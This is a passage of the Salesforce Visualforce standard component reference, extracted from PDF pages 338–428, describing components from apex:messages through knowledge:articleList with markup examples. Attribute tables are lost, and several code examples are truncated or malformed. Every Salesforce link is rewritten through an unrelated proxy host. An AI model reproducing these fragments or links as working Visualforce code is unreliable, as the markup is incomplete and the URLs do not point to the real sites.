https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
338
Standard Component Reference apex:message
<apex:form >
<apex:pageBlock title="Hello {!$User.FirstName}!">
This is your new page for the {!name} controller. <br/>
You are viewing the {!account.name} account.
Attributes
339
Standard Component Reference apex:messages
apex:messages
All messages that were generated for all components on the current page. If an <apex:message> or <apex:messages>
component is not included in a page, most warning and error messages are only shown in the debug log.
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
340
Standard Component Reference apex:messages
</apex:pageBlock>
</apex:form>
</apex:page>
}
}
Attributes
341
Standard Component Reference apex:outputField
apex:outputField
A read-only display of a label and value for a field on a Salesforce object. An <apex:outputField> component respects
the attributes of the associated field, including how it should be displayed to the user. For example, if the specified
<apex:outputField> component is a currency field, the appropriate currency symbol is displayed. Likewise, if the
<apex:outputField> component is a lookup field or URL, the value of the field is displayed as a link.
Note that if custom help is defined for the field in Setup, the field must be a child of an <apex:pageBlock> or
<apex:pageBlockSectionItem>, and the Salesforce page header must be displayed for the custom help to appear on your
Visualforce page. To override the display of custom help, use the <apex:outputField> in the body of an
<apex:pageBlockSectionItem>.
The Rich Text Area data type can only be used with this component on pages running Salesforce.com API versions greater
than 18.0.
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid opportunity record in the URL.
For example, if 001D000000IRt53 is the opportunity ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
Attributes
342
Standard Component Reference apex:outputLabel
apex:outputLabel
A label for an input or output field. Use this component to provide a label for a controller method that does not correspond
to a field on a Salesforce object.
Example
<apex:outputLabel value="Checkbox" for="theCheckbox"/>
<apex:inputCheckbox value="{!inputValue}" id="theCheckbox"/>
<label for="theCheckbox">Checkbox</label>
<input id="theCheckbox" type="checkbox" name="theCheckbox" />
343
Standard Component Reference apex:outputLabel
Attributes
344
Standard Component Reference apex:outputLink
apex:outputLink
A link to a URL. This component is rendered in HTML as an anchor tag with an href attribute. Like its HTML equivalent,
the body of an <apex:outputLink> is the text or image that displays as the link. To add query string parameters to a link,
use nested <apex:param> components.
See also: <apex:commandLink>
Example
<apex:outputLink value="https://www.salesforce.com"
id="theLink">www.salesforce.com</apex:outputLink>
345
Standard Component Reference apex:outputLink
Attributes
346
Standard Component Reference apex:outputLink
347
Standard Component Reference apex:outputPanel
apex:outputPanel
A set of content that is grouped together, rendered with an HTML <span> tag, <div> tag, or neither. Use an
<apex:outputPanel> to group components together for AJAX refreshes.
Span Example
<!-- Spans do not add any additional formatting to the body of the outputPanel. -->
<apex:outputPanel id="thePanel">My span</apex:outputPanel>
Div Example
<!-- Divs place the body of the outputPanel within the equivalent of an HTML paragraph tag.
-->
<apex:outputPanel id="thePanel" layout="block">My div</apex:outputPanel>
348
Standard Component Reference apex:outputPanel
Attributes
349
Standard Component Reference apex:outputText
apex:outputText
Displays text on a Visualforce page. You can customize the appearance of <apex:outputText> using CSS styles, in which
case the generated text is wrapped in an HTML <span> tag. You can also escape the rendered text if it contains sensitive
HTML and XML characters. This component does take localization into account.
Use with nested param tags to format the text values, where {n} corresponds to the n-th nested param tag. The value attribute
supports the same syntax as the MessageFormat class in Java. See the MessageFormat class JavaDocs for more information.
Warning:Encrypted custom fields that are embedded in the <apex:outputText> component display in clear text. The
<apex:outputText> component doesn't respect the View Encrypted Data permission for users. To prevent showing sensitive
information to unauthorized users, use the <apex:outputField> tag instead.
350
Standard Component Reference apex:outputText
<apex:page standardController="Account">
It is worth:
<apex:outputText value="{0, number, 000,000.00}">
<apex:param value="{!Account.AnnualRevenue}" />
</apex:outputText>
</apex:page>
It is worth: 500,000,000.00
Attributes
351
Standard Component Reference apex:page
apex:page
A single Visualforce page. All pages must be wrapped inside a single page component tag.
Example
<!-- Page: -->
<apex:page renderAs="pdf">
<style> body { font-family: Arial Unicode MS; } </style>
<h1>Congratulations</h1>
<p>This is your new PDF</p>
</apex:page>
Attributes
352
Standard Component Reference apex:page
353
Standard Component Reference apex:page
354
Standard Component Reference apex:page
355
Standard Component Reference apex:pageBlock
apex:pageBlock
An area of a page that uses styling similar to the appearance of a Salesforce detail page, but without any default content.
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
Attributes
356
Standard Component Reference apex:pageBlock
357
Standard Component Reference apex:pageBlockButtons
Facets
apex:pageBlockButtons
A set of buttons that are styled like standard Salesforce buttons. This component must be a child component of an
<apex:pageBlock>.
358
Standard Component Reference apex:pageBlockButtons
Note that it is not necessary for the buttons themselves to be direct children of the <apex:pageBlockButtons>
component—buttons that are located at any level within an <apex:pageBlockButtons> component are styled appropriately.
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
Attributes
359
Standard Component Reference apex:pageBlockSection
apex:pageBlockSection
A section of data within an <apex:pageBlock> component, similar to a section in a standard Salesforce page layout definition.
An <apex:pageBlockSection> component consists of one or more columns, each of which spans two cells: one for a
field's label, and one for its value. Each component found in the body of an <apex:pageBlockSection> is placed into the
360
Standard Component Reference apex:pageBlockSection
next cell in a row until the number of columns is reached. At that point, the next component wraps to the next row and is
placed in the first cell.
To add a field from a Salesforce object to an <apex:pageBlockSection>, use an <apex:inputField> or
<apex:outputField> component. Each of these components automatically displays with the field's associated label. To
add fields for variables or methods that are not based on Salesforce object fields, or to customize the format of Salesforce object
field labels, use an <apex:pageBlockSectionItem> component. Each <apex:inputField>, <apex:outputField>,
or <apex:pageBlockSectionItem> component spans both cells of a single column.
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
Attributes
361
Standard Component Reference apex:pageBlockSection
362
Standard Component Reference apex:pageBlockSectionItem
Facets
apex:pageBlockSectionItem
A single piece of data in an <apex:pageBlockSection> that takes up one column in one row. An
<apex:pageBlockSectionItem> component can include up to two child components. If no content is specified, the
column is rendered as an empty space. If one child component is specified, the content spans both cells of the column. If two
child components are specified, the content of the first is rendered in the left, "label" cell of the column, while the content of
the second is rendered in the right, "data" cell of the column.
Note that if you include an <apex:outputField> or an <apex:inputField> component in an
<apex:pageBlockSectionItem>, these components do not display with their label or custom help text as they do when
they are children of an <apex:pageBlockSectionItem>. Also note that <apex:pageBlockSectionItem> components
cannot be rerendered; rerender the child components instead.
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
363
Standard Component Reference apex:pageBlockSectionItem
<apex:pageBlockSectionItem>
<apex:outputLabel value="Account Site" for="account__site"/>
<apex:inputText value="{!account.site}" id="account__site"/>
</apex:pageBlockSectionItem>
<apex:pageBlockSectionItem>
<apex:outputLabel value="Account Type" for="account__type"/>
<apex:inputText value="{!account.type}" id="account__type"/>
</apex:pageBlockSectionItem>
<apex:pageBlockSectionItem>
<apex:outputLabel value="Account Number" for="account__number"/>
<apex:inputText value="{!account.accountNumber}" id="account__number"/>
</apex:pageBlockSectionItem>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>
Attributes
364
Standard Component Reference apex:pageBlockSectionItem
365
Standard Component Reference apex:pageBlockTable
apex:pageBlockTable
A list of data displayed as a table within either an <apex:pageBlock> or <apex:pageBlockSection> component, similar
to a related list or list view in a standard Salesforce page. Like an <apex:dataTable>, an <apex:pageBlockTable> is
defined by iterating over a set of data, displaying information about one item of data per row. The set of data can contain up
to 1,000 items.
The body of the <apex:pageBlockTable> contains one or more column components that specify what information should
be displayed for each item of data, similar to a table. Unlike the <apex:dataTable> component, the default styling for
<apex:pageBlockTable> matches standard Salesforce styles. Any additional styles specified with <apex:pageBlockTable>
attributes are appended to the standard Salesforce styles.
Note that if you specify an sObject field as the value attribute for a column, the associated label for that field is used as the
column header by default. To override this behavior, use the headerValue attribute on the column, or the column's header
facet.
Example
<!-- For this example to render properly, you must associate the Visualforce page
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
366
Standard Component Reference apex:pageBlockTable
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController="Account">
<apex:column value="{!item.name}"/>
</apex:pageBlockTable>
</apex:pageBlock>
</apex:page>
Attributes
367
Standard Component Reference apex:pageBlockTable
368
Standard Component Reference apex:pageBlockTable
369
Standard Component Reference apex:pageBlockTable
370
Standard Component Reference apex:pageMessage
Facets
apex:pageMessage
This component should be used for presenting custom messages in the page using the Salesforce pattern for errors, warnings
and other types of messages for a given severity. See also the pageMessages component.
Example
<apex:page standardController="Opportunity" recordSetVar="opportunities"
tabStyle="Opportunity" sidebar="false">
<p>Enter an alphabetic character for the "Close Date,"
then click Save to see what happens.</p>
<apex:form >
<apex:pageBlock >
<apex:pageMessage summary="This pageMessage will always display. Validation error
messages appear in the pageMessages component." severity="warning" strength="3"
/>
<apex:pageMessages />
<apex:pageBlockButtons >
<apex:commandButton value="Save" action="{!save}"/>
</apex:pageBlockButtons>
<apex:pageBlockTable value="{!opportunities}" var="opp">
<apex:column value="{!opp.name}"/>
<apex:column headerValue="Close Date">
<apex:inputField value="{!opp.closeDate}"/>
</apex:column>
</apex:pageBlockTable>
</apex:pageBlock>
</apex:form>
</apex:page>
371
Standard Component Reference apex:pageMessages
Attributes
apex:pageMessages
This component displays all messages that were generated for all components on the current page, presented using the Salesforce
styling.
Example
<apex:page standardController="Opportunity" recordSetVar="opportunities"
tabStyle="Opportunity" sidebar="false">
<p>Enter an alphabetic character for the "Close Date,"
then click Save to see what happens.</p>
<apex:form >
<apex:pageBlock >
<apex:pageMessages />
<apex:pageBlockButtons >
<apex:commandButton value="Save" action="{!save}"/>
</apex:pageBlockButtons>
<apex:pageBlockTable value="{!opportunities}" var="opp">
<apex:column value="{!opp.name}"/>
<apex:column headerValue="Close Date">
<apex:inputField value="{!opp.closeDate}"/>
372
Standard Component Reference apex:panelBar
</apex:column>
</apex:pageBlockTable>
</apex:pageBlock>
</apex:form>
</apex:page>
Attributes
apex:panelBar
A page area that includes one or more <apex:panelBarItem> tags that can expand when a user clicks the associated header.
When an <apex:panelBarItem> is expanded, the header and the content of the item are displayed while the content of
all other items are hidden. When another <apex:panelBarItem> is expanded, the content of the original item is hidden
again. An <apex:panelBar> can include up to 1,000 <apex:panelBarItem> tags.
Example
<!-- Page: panelBar -->
<!-- Click on Item 1, Item 2, or Item 3 to display the content of the panel -->
<apex:page>
<apex:panelBar>
373
Standard Component Reference apex:panelBar
</apex:panelBar>
</apex:page>
Attributes
374
Standard Component Reference apex:panelBarItem
apex:panelBarItem
A section of an <apex:panelBar> that can expand or retract when a user clicks the section header. When expanded, the
header and the content of the <apex:panelBarItem> is displayed. When retracted, only the header of the
<apex:panelBarItem> displays.
<!-- Click on Item 1, Item 2, or Item 3 to display the content of the panel -->
<apex:page>
<apex:panelBar>
</apex:panelBar>
</apex:page>
<apex:page >
375
Standard Component Reference apex:panelBarItem
<apex:pageMessages/>
<apex:panelBar>
<apex:panelBarItem
label="Item One"
</apex:panelBarItem>
<apex:panelBarItem
label="Item Two"
</apex:panelBarItem>
</apex:panelBar>
</apex:page>
Attributes
376
Standard Component Reference apex:panelGrid
apex:panelGrid
Renders an HTML table element in which each component found in the body of the <apex:panelGrid> is placed into a
corresponding cell in the first row until the number of columns is reached. At that point, the next component wraps to the
next row and is placed in the first cell.
Note that if an <apex:repeat> component is used within an <apex:panelGrid> component, all content generated by
the <apex:repeat> component is placed in a single <apex:panelGrid> cell. The <apex:panelGrid> component
differs from <apex:dataTable> because it does not process a set of data with an iteration variable.
See also: <apex:panelGroup>
Example
<apex:page>
<apex:panelGrid columns="3" id="theGrid">
<apex:outputText value="First" id="theFirst"/>
<apex:outputText value="Second" id="theSecond"/>
<apex:outputText value="Third" id="theThird"/>
<apex:outputText value="Fourth" id="theFourth"/>
</apex:panelGrid>
</apex:page>
377
Standard Component Reference apex:panelGrid
<table id="theGrid">
<tbody>
<tr>
<td><span id="theFirst">First</span></td>
<td><span id="theSecond">Second</span></td>
<td><span id="theThird">Third</span></td>
</tr>
<tr>
<td><span id="theFourth">Fourth</span></td>
</tr>
</tbody>
</table>
Attributes
378
Standard Component Reference apex:panelGrid
379
Standard Component Reference apex:panelGrid
Facets
380
Standard Component Reference apex:panelGroup
apex:panelGroup
A container for multiple child components so that they can be displayed in a single panelGrid cell. An <apex:panelGroup>
must be a child component of an <apex:panelGrid>.
Example
<apex:page>
<apex:panelGrid columns="3" id="theGrid">
<apex:outputText value="First" id="theFirst"/>
<apex:outputText value="Second" id="theSecond"/>
<apex:panelGroup id="theGroup">
<apex:outputText value="Third" id="theThird"/>
<apex:outputText value="Fourth" id="theFourth"/>
</apex:panelGroup>
</apex:panelGrid>
</apex:page>
<table id="theGrid">
<tbody>
<tr>
<td><span id="theFirst">First</span></td>
<td><span id="theSecond">Second</span></td>
<td><span id="theGroup">
<span id="theThird">Third</span>
<span id="theFourth">Fourth</span>
</span></td>
</tr>
</tbody>
</table>
Attributes
381
Standard Component Reference apex:param
apex:param
A parameter for the parent component. The <apex:param> component can only be a child of the following components:
• <apex:actionFunction>
• <apex:actionSupport>
• <apex:commandButton>
• <apex:commandLink>
• <apex:outputLink>
• <apex:outputText>
• <flow:interview>
Within <apex:outputText>, there is support for the <apex:param> tag to match the syntax of the MessageFormat class
in Java. See the MessageFormat class JavaDocs for more information.
apex:outputLink Example
<!-- For this example to render properly, you must associate the Visualforce page
For example, if 001D000000IRt53 is the contact ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController="Contact">
<apex:outputLink value="http://google.com/search">
382
Standard Component Reference apex:pieSeries
Search Google
</apex:outputLink>
</apex:page>
Attributes
apex:pieSeries
A data series to be rendered as wedges in a Visualforce pie chart. At a minimum you must specify the fields in the data collection
to use as label and value pairs for each pie wedge.
Note: This component must be enclosed within an <apex:chart> component. You can only have one <apex:pieSeries>
in a chart.
Example
<!-- Page: -->
<apex:chart data="{!pieData}" height="300" width="400">
<apex:pieSeries labelField="name" dataField="data1"/>
</apex:chart>
383
Standard Component Reference apex:relatedList
Attributes
apex:relatedList
A list of Salesforce records that are related to a parent record with a lookup or master-detail relationship.
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
384
Standard Component Reference apex:relatedList
<apex:page standardController="Account">
<apex:pageBlock>
You're looking at some related lists for {!account.name}:
</apex:pageBlock>
<apex:relatedList list="Contacts">
<apex:facet name="header">Titles can be overriden with facets</apex:facet>
</apex:relatedList>
<apex:relatedList list="Cases" title="Or you can keep the image, but change the text"
/>
</apex:page>
Attributes
Facets
385
Standard Component Reference apex:repeat
apex:repeat
An iteration component that allows you to output the contents of a collection according to a structure that you specify. The
collection can include up to 1,000 items.
Note that if used within an <apex:pageBlockSection> or <apex:panelGrid> component, all content generated by a
child <apex:repeat> component is placed in a single <apex:pageBlockSection> or <apex:panelGrid> cell.
This component cannot be used as a direct child of the following components:
• <apex:dataTable>
• <apex:pageBlockTable>
• <apex:panelBar>
• <apex:selectCheckboxes>
• <apex:selectList>
• <apex:selectRadio>
• <apex:tabPanel>
Example
<!-- Page: -->
</apex:repeat>
</apex:page>
386
Standard Component Reference apex:repeat
<span id="thePage:theRepeat:0:theValue">ONE</span><br/>
<span id="thePage:theRepeat:1:theValue">TWO</span><br/>
<span id="thePage:theRepeat:2:theValue">THREE</span><br/>
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController="Account">
<tr>
<th>Case Number</th><th>Origin</th>
<th>Creator Email</th><th>Status</th>
</tr>
<tr>
<td>{!cases.CaseNumber}</td>
<td>{!cases.Origin}</td>
<td>{!cases.Contact.email}</td>
<td>{!cases.Status}</td>
</tr>
</apex:repeat>
</table>
</apex:page>
387
Standard Component Reference apex:scontrol
Attributes
apex:scontrol
An inline frame that displays an s-control.
Note: s-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created
s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls remain unaffected.
Example
<!-- For this component to work, you must have a valid s-control defined. -->
<apex:page>
<apex:scontrol controlName="HelloWorld" />
</apex:page>
Attributes
388
Standard Component Reference apex:sectionHeader
apex:sectionHeader
A title bar for a page. In a standard Salesforce.com page, the title bar is a colored header displayed directly under the tab bar.
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
Attributes
389
Standard Component Reference apex:selectCheckboxes
apex:selectCheckboxes
A set of related checkbox input elements, displayed in a table.
Example
<!-- Page: -->
<apex:page controller="sampleCon">
<apex:form>
<apex:selectCheckboxes value="{!countries}">
<apex:selectOptions value="{!items}"/>
</apex:selectCheckboxes><br/>
<apex:commandButton value="Test" action="{!test}" rerender="out" status="status"/>
</apex:form>
<apex:outputPanel id="out">
<apex:actionstatus id="status" startText="testing...">
<apex:facet name="stop">
<apex:outputPanel>
<p>You have selected:</p>
<apex:dataList value="{!countries}" var="c">{!c}</apex:dataList>
</apex:outputPanel>
</apex:facet>
</apex:actionstatus>
</apex:outputPanel>
</apex:page>
390
Standard Component Reference apex:selectCheckboxes
options.add(new SelectOption('US','US'));
options.add(new SelectOption('CANADA','Canada'));
options.add(new SelectOption('MEXICO','Mexico'));
return options;
}
Attributes
391
Standard Component Reference apex:selectCheckboxes
392
Standard Component Reference apex:selectList
apex:selectList
A list of options that allows users to select only one value or multiple values at a time, depending on the value of its multiselect
attribute.
393
Standard Component Reference apex:selectList
Example
<!-- Page: -->
<apex:page controller="sampleCon">
<apex:form>
<apex:selectList value="{!countries}" multiselect="true">
<apex:selectOptions value="{!items}"/>
</apex:selectList><p/>
<apex:outputPanel id="out">
<apex:actionstatus id="status" startText="testing...">
<apex:facet name="stop">
<apex:outputPanel>
<p>You have selected:</p>
<apex:dataList value="{!countries}" var="c">{!c}</apex:dataList>
</apex:outputPanel>
</apex:facet>
</apex:actionstatus>
</apex:outputPanel>
</apex:page>
Attributes
394
Standard Component Reference apex:selectList
395
Standard Component Reference apex:selectList
396
Standard Component Reference apex:selectOption
apex:selectOption
A possible value for an <apex:selectCheckboxes> or <apex:selectList> component. The <apex:selectOption>
component must be a child of one of those components.
Example
<!-- Page: -->
<apex:page controller="chooseColor">
<apex:form>
<apex:selectList id="chooseColor" value="{!string}" size="1">
<apex:selectOption itemValue="red" itemLabel="Red"/>
<apex:selectOption itemValue="white" itemLabel="White"/>
<apex:selectOption itemValue="blue" itemLabel="Blue"/>
</apex:selectList>
</apex:form>
</apex:page>
397
Standard Component Reference apex:selectOption
Attributes
398
Standard Component Reference apex:selectOptions
apex:selectOptions
A collection of possible values for an <apex:selectCheckBoxes>, <apex:selectRadio>, or <apex:selectList>
component. An <apex:selectOptions> component must be a child of one of those components. It must also be bound
to a collection of selectOption objects in a custom Visualforce controller.
Example
<!-- Page: -->
<apex:page controller="sampleCon">
<apex:form>
<apex:selectCheckboxes value="{!countries}" title="Choose a country">
<apex:selectOptions value="{!items}"/>
</apex:selectCheckboxes><br/>
<apex:commandButton value="Test" action="{!test}" rerender="out" status="status"/>
</apex:form>
<apex:outputPanel id="out">
<apex:actionstatus id="status" startText="testing...">
<apex:facet name="stop">
<apex:outputPanel>
<p>You have selected:</p>
399
Standard Component Reference apex:selectRadio
return options;
}
Attributes
apex:selectRadio
A set of related radio button input elements, displayed in a table. Unlike checkboxes, only one radio button can ever be selected
at a time.
400
Standard Component Reference apex:selectRadio
Example
<!-- Page: -->
<apex:page controller="sampleCon">
<apex:form>
<apex:selectRadio value="{!country}">
<apex:selectOptions value="{!items}"/>
</apex:selectRadio><p/>
<apex:commandButton value="Test" action="{!test}" rerender="out" status="status"/>
</apex:form>
<apex:outputPanel id="out">
<apex:actionstatus id="status" startText="testing...">
<apex:facet name="stop">
<apex:outputPanel>
<p>You have selected:</p>
<apex:outputText value="{!country}"/>
</apex:outputPanel>
</apex:facet>
</apex:actionstatus>
</apex:outputPanel>
</apex:page>
Attributes
401
Standard Component Reference apex:selectRadio
402
Standard Component Reference apex:selectRadio
403
Standard Component Reference apex:stylesheet
apex:stylesheet
A link to a stylesheet that can be used to style components on the Visualforce page. When specified, this component injects
the stylesheet reference into the head element of the generated HTML page.
Example
<apex:stylesheet value="/resources/htdocs/css/basic.css"/>
Attributes
404
Standard Component Reference apex:tab
apex:tab
A single tab in an <apex:tabPanel>. The <apex:tab> component must be a child of a <apex:tabPanel>.
Example
<!-- Page: -->
<apex:page id="thePage">
<apex:tabPanel switchType="client" selectedTab="name2" id="theTabPanel">
<apex:tab label="One" name="name1" id="tabOne">content for tab one</apex:tab>
<apex:tab label="Two" name="name2" id="tabTwo">content for tab two</apex:tab>
</apex:tabPanel>
</apex:page>
Attributes
405
Standard Component Reference apex:tab
406
Standard Component Reference apex:tabPanel
apex:tabPanel
A page area that displays as a set of tabs. When a user clicks a tab header, the tab's associated content displays, hiding the
content of other tabs.
Simple Example
<!-- Page: -->
<apex:page id="thePage">
<apex:tabPanel switchType="client" selectedTab="name2" id="theTabPanel">
<apex:tab label="One" name="name1" id="tabOne">content for tab one</apex:tab>
<apex:tab label="Two" name="name2" id="tabTwo">content for tab two</apex:tab>
</apex:tabPanel>
</apex:page>
Advanced Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<!-- This example shows how to use the tabClass and inactiveTabClass attributes to
change the default styling of the tab bar. Note that in the style definitions,
'background-image:none' is required to override the default image with the
specified color. You can also provide your own image with .css styles. -->
407
Standard Component Reference apex:tabPanel
</apex:tabPanel>
</apex:page>
Attributes
408
Standard Component Reference apex:tabPanel
409
Standard Component Reference apex:toolbar
apex:toolbar
A stylized, horizontal toolbar that can contain any number of child components. By default, all child components are aligned
to the left side of the toolbar. Use an <apex:toolbarGroup> component to align one or more child components to the
right.
Example
<!-- Page: sampleToolbar-->
<apex:page id="thePage">
<apex:toolbar id="theToolbar">
<apex:outputLink value="http://www.salesforce.com">
410
Standard Component Reference apex:toolbar
salesforce
</apex:outputLink>
<apex:outputLink value="http://developer.salesforce.com">
</apex:outputLink>
</apex:toolbarGroup>
<apex:form id="theForm">
</apex:form>
</apex:toolbarGroup>
</apex:toolbar>
</apex:page>
<apex:page id="anotherPage">
<apex:pageMessages/>
<apex:form>
<apex:toolbar
'not in a toolbarGroup.')"
'not in a toolbarGroup.')">
<apex:inputText/>
<apex:toolbarGroup><apex:inputText/>Click in a toolbarGroup</apex:toolbarGroup>
</apex:toolbar>
</apex:form>
</apex:page>
411
Standard Component Reference apex:toolbar
Attributes
412
Standard Component Reference apex:toolbar
413
Standard Component Reference apex:toolbarGroup
apex:toolbarGroup
A group of components within a toolbar that can be aligned to the left or right of the toolbar. The <apex:toolbarGroup>
component must be a child component of an <apex:toolbar>.
Example
<!-- Page: -->
<apex:page id="thePage">
<apex:toolbar id="theToolbar">
<apex:outputText value="Sample Toolbar"/>
<apex:toolbarGroup itemSeparator="line" id="toobarGroupLinks">
<apex:outputLink value="http://www.salesforce.com">salesforce</apex:outputLink>
Attributes
414
Standard Component Reference apex:variable
apex:variable
A local variable that can be used as a replacement for a specified expression within the body of the component. Use
<apex:variable> to reduce repetitive and verbose expressions within a page.
415
Standard Component Reference apex:vote
Note: <apex:variable> does not support reassignment inside of an iteration component, such as <apex:dataTable>
or <apex:repeat>. The result of doing so, e.g., incrementing the <apex:variable> as a counter, is unsupported and
undefined.
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid contact record in the URL.
For example, if 001D000000IRt53 is the contact ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<p>Greetings, {!c.LastName}.</p>
</apex:page>
Attributes
apex:vote
A component that displays the vote control for an object that supports it.
416
Standard Component Reference chatter:feed
Attributes
chatter:feed
Displays the Chatter EntityFeed for a record or an UserProfileFeed for a user. Note that Chatter components are unavailable
for Visualforce pages on Force.com sites. Ext JS versions less than 3 should not be included on pages that use this component.
Attributes
417
Standard Component Reference chatter:feedWithFollowers
chatter:feedWithFollowers
An integrated UI component that displays the Chatter feed for a record, as well as its list of followers. Note that Chatter
components are unavailable for Visualforce pages on Force.com sites. Ext JS versions less than 3 should not be included on
pages that use this component. Do not include this component inside an <apex:form> tag.
Attributes
chatter:follow
Renders a button for a user to follow or unfollow a Chatter record. Note that Chatter components are unavailable for Visualforce
pages on Force.com sites. Ext JS versions less than 3 should not be included on pages that use this component.
Attributes
418
Standard Component Reference chatter:followers
chatter:followers
Displays the list of Chatter followers for a record. Note that Chatter components are unavailable for Visualforce pages on
Force.com sites. Ext JS versions less than 3 should not be included on pages that use this component.
Attributes
chatter:newsfeed
Displays the Chatter NewsFeed for the current user. Note that Chatter components are unavailable for Visualforce pages on
Force.com sites. Ext JS versions less than 3 should not be included on pages that use this component.
419
Standard Component Reference chatteranswers:allfeeds
Attributes
chatteranswers:allfeeds
Displays the Chatter Answers application, including the feed, filters, profiles, and the Sign Up and Sign In buttons. Ext JS
versions less than 3 should not be included on pages that use this component.
Attributes
chatteranswers:changepassword
Displays the Chatter Answers change password page. Ext JS versions less than 3 should not be included on pages that use this
component.
420
Standard Component Reference chatteranswers:forgotpassword
Attributes
chatteranswers:forgotpassword
Displays the Chatter Answers forgot password page. Ext JS versions less than 3 should not be included on pages that use this
component.
Attributes
chatteranswers:forgotpasswordconfirm
Displays the Chatter Answers password confirmation page. Ext JS versions less than 3 should not be included on pages that
use this component.
Attributes
421
Standard Component Reference chatteranswers:help
chatteranswers:help
Displays the Chatter Answers help page (FAQ) to your customers.
Attributes
chatteranswers:login
Displays the Chatter Answers sign in page. Ext JS versions less than 3 should not be included on pages that use this component.
Attributes
chatteranswers:registration
Displays the Chatter Answers registration page.
Attributes
422
Standard Component Reference chatteranswers:singleitemfeed
chatteranswers:singleitemfeed
Displays the Chatter Answers feed for a single case and question. Ext JS versions less than 3 should not be included on pages
that use this component.
Attributes
flow:interview
This component embeds a Flow interview in the page
Example
423
Standard Component Reference ideas:detailOutputLink
Attributes
ideas:detailOutputLink
A link to the page displaying an idea. Note: To use this component, please contact your salesforce.com representative and
request that the Ideas extended standard controllers be enabled for your organization.
424
Standard Component Reference ideas:listOutputLink
Attributes
ideas:listOutputLink
A link to the page displaying a list of ideas. Note: To use this component, please contact your salesforce.com representative
and request that the Ideas extended standard controllers be enabled for your organization.
425
Standard Component Reference ideas:listOutputLink
<apex:pageBlock >
<apex:dataList value="{!ideaList}" var="ideadata">
<apex:outputText value="{!ideadata.title}"/>
</apex:dataList>
</apex:pageBlock>
</apex:page>
Attributes
426
Standard Component Reference ideas:profileListOutputLink
ideas:profileListOutputLink
A link to the page displaying a user's profile. Note: To use this component, please contact your salesforce.com representative
and request that the Ideas extended standard controllers be enabled for your organization.
Attributes
427
Standard Component Reference knowledge:articleCaseToolbar
knowledge:articleCaseToolbar
UI component used when an article is opened from the case detail page. This component shows current case information and
lets the user attach the article to the case.
Attributes
428
Standard Component Reference knowledge:articleList
knowledge:articleList
A loop on a filtered list of articles. You can use this component up to four times on the same page. Note that only standard
fields are accessible, such as:
